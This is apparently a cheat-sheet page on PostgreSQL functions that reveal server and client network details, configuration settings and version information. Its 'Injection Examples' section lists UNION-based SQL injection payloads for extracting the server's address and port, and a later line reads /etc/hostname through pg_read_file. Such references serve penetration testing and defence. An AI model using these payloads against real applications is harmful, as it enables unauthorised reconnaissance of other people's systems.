Server Hostname and Network Information
PostgreSQL provides several functions to retrieve server network information.
Server IP Address
-- Get server IP address
SELECT inet_server_addr();Server Port
-- Get server port
SELECT inet_server_port();Client Information
-- Get client IP address
SELECT inet_client_addr();
-- Get client port
SELECT inet_client_port();Combined Network Information
-- Get all network information
SELECT
inet_server_addr() AS server_ip,
inet_server_port() AS server_port,
inet_client_addr() AS client_ip,
inet_client_port() AS client_port;Configuration Settings
-- Get listen addresses
SELECT current_setting('listen_addresses');
-- Get port configuration
SELECT current_setting('port');
-- Get data directory
SELECT current_setting('data_directory');Injection Examples
-- UNION-based
' UNION SELECT NULL,inet_server_addr()::text,NULL--
' UNION SELECT NULL,inet_server_port()::text,NULL--
-- Combined extraction
' UNION SELECT NULL,inet_server_addr()::text||':'||inet_server_port()::text,NULL--Operating System Information
-- Get server version (includes OS info)
SELECT version();
-- Example: "PostgreSQL 14.5 on x86_64-pc-linux-gnu..."
-- Try to read hostname from file (requires privileges)
SELECT pg_read_file('/etc/hostname');Notes
inet_server_addr()returns NULL if connecting via Unix socketinet_server_port()returns the actual TCP port the server is listening on- These functions may return NULL depending on connection type
- Superuser privileges may be needed for some configuration settings